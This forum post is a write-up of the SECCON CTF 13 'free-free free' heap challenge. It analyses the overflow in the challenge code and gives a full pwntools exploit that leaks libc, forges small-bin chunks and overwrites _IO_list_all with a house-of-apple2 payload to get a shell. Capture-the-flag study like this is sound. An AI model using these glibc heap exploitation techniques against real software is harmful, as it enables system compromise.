吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1190|回复: 1
上一主题 下一主题
收起左侧

[CTF] SECCON CTF 13 Quals(Jeopardy) free-free free wp

[复制链接]
跳转到指定楼层
楼主
ajguthahbzzb 发表于 2025-3-23 22:38 回帖奖励
本帖最后由 ajguthahbzzb 于 2025-3-23 22:43 编辑

0x1 前言

这道题的题解我参考了队友的代码,自己做根本做不出来,还是得向队友学习
附件链接:https://r3kapig-not1on.notion.site/SECCON-CTF-13-Quals-Jeopardy-14bec1515fb98012ba05fe126af221ec


0x2 程序分析

Data结构体内存结构:
[C] 纯文本查看 复制代码
1
2
3
4
5
6
typedef struct Data {
    struct Data *next;  // 0-8
    uint32_t len;       // 8-12
    uint32_t id;        // 12-16
    char buf[];         // 16-
} data_t;


alloc函数有溢出漏洞,可溢出8字节,刚好能修改size字段,且next指针没有初始化:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
static int alloc(uint32_t size){
    if(size < 0x20 || size > 0x400){ // tcache, fastbin, smallbin
        puts("Invalid size");
        return 0;
    }
 
    data_t *p = malloc(8+size); //可以溢出8字节
    if(!p){
        puts("Allocation error");
        return 0;
    }
 
    p->len = size;
    p->id = rand();
    // 没有初始化next
 
    tail->next = p;
    tail = p;
 
    return p->id;
}


release函数没有调用free函数,需要通过修改top chunk的size来将堆块放进unsorted bin:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
static int release(uint32_t id){ // 没有free操作
    for(data_t *p = &head; p->next; p = p->next)
        if(p->next->id == id){
            // free-free is more secure
            if(tail == p->next)
                tail = p;
            p->next = p->next->next;
            return 0;
        }
 
    return -1;
}



0x3 思路

  • 首先通过堆溢出修改top chunk的size字段(注意低12位要和原来一样),然后再多申请几次即可将堆块释放,这样重复8次,即可将堆块填满tcache然后放入small bin。
  • 然后再申请一个块,这时候堆块的next字段指向arena的small bin位置,且len和id字段保存了libc地址。通过爆破id,可得到libc的高32位,通过程序输出的len,可得到libc的低32位。
  • 修改arena中的堆块,让0x3d0的small bin 指针指向我们伪造的small bin,然后申请,这时tail会指向新伪造的small bin。
  • 然后再修改其next指针指向_IO_list_all上方的位置,这时可直接修改_IO_list_all。这里我直接用house of apple,这样就可以getshell。


0x4 完整代码

[Python] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
from pwncli import *
 
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])
 
elf = ELF("./chall")
io = gift.io = elf.process()
libc = elf.libc
 
# -------
menu = lambda choice: sla(b"> ", str(choice).encode())
 
def alloc(size):
    menu(1)
    sla(b"size: ", str(size).encode())
    ru(b"ID:0x")
    return int(ru(b" ")[:-1], 16)
 
 
def edit(aid, content=b""):
    menu(2)
    sla(b"id: ", str(aid).encode())
    if b"Not" in r(4):
        return False
    ru(b"(")
    l = int(ru(b")", drop=True))
    sla(b": ", content)
    return l
 
 
def release(aid):  # release没有free操作,无法释放块,但可以通过打top chunk来释放
    menu(3)
    sla(b"id: ", str(aid).encode())
 
 
def allo_rele(size):
    release(alloc(size))
 
 
def allo_edit_rele(size, content):
    buf_id = alloc(size)
    edit(buf_id, content)
    release(buf_id)
 
 
allo_edit_rele(0x100, b"a" * 0xF8 + p32(0xC61)) # 页对齐
allo_rele(0x400)
allo_rele(0x400)
allo_rele(0x40# 调整释放的块大小为3d0
 
# 打top chunk,填满tcache
for i in range(1, 9):
    allo_edit_rele(0x400, b"a" * 0x3F8 + p32(0xBF1))
    allo_rele(0x400)
    allo_rele(0x3E0)
 
 
for i in range(7):
    allo_rele(0x3C0)
 
alloc(0x3C0# 从smallbin中取出,此时next指针会指向main arena
 
for i in range(0x100):  # 爆破一个字节
    leak32low = edit(0x7F00 + i)
    if leak32low:
        libc.address = leak32low + ((0x7F00 + i) << 32) - 0x203ED0
        leak_id = 0x7F00 + i
        break
 
success(f"{libc.address = :x}")
binaddr = libc.address + 0x203EF0
 
 
payload = flat(
    binaddr + 0x10, binaddr + 0x10,
    0, 0x3d1,
    binaddr - 0x10, binaddr - 0x10
)
edit(leak_id, payload)
 
alloc(0x3C0# 把binaddr + 0x20写进tail->next
 
 
payload = flat(
    binaddr + 0x10, binaddr + 0x10,
    0, 0x3d1,
    libc.sym._IO_list_all - 0x30
) # 更改tail->next为_IO_list_all-0x30,此时leak_id指向_IO_list_all-0x30
edit(leak_id, payload) 
 
 
heap_addr = libc.sym._IO_2_1_stderr_
 
payload = p64(libc.address + 0x1CCA38) + p64(0) * 3  # 恢复原地址
payload += p64(heap_addr) + p64(0) * 3
payload += IO_FILE_plus_struct().house_of_apple2_execmd_when_exit(
    heap_addr, libc.sym._IO_wfile_jumps, libc.sym.system
)
 
edit(leak_id, payload)
menu(4)
 
ia()

免费评分

参与人数 1吾爱币 +7 热心值 +1 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
13955199224 发表于 2025-3-24 10:08
SECCON CTF 13 Quals好东西
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-27 07:35

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表